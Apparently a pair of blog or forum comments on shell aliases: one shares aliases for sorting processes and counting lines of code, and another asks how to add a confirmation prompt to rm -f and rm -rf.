• systemBuilder January 6, 2017, 2:42 am

  Sorry, typos and some new ones

  alias hogs='ps uxga | sort --key=3.1 -n'
alias sdiff='sdiff -w 240'
function pyloc() { egrep -v '^[ ]*(#|$dollar)' $* | wc; }; # count lines (python, sh)
function loc() { egrep -v '^[ ]*(//|/\*|\*|$dollar)' $* | wc; }; # count lines (c, c++)

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Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.

So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?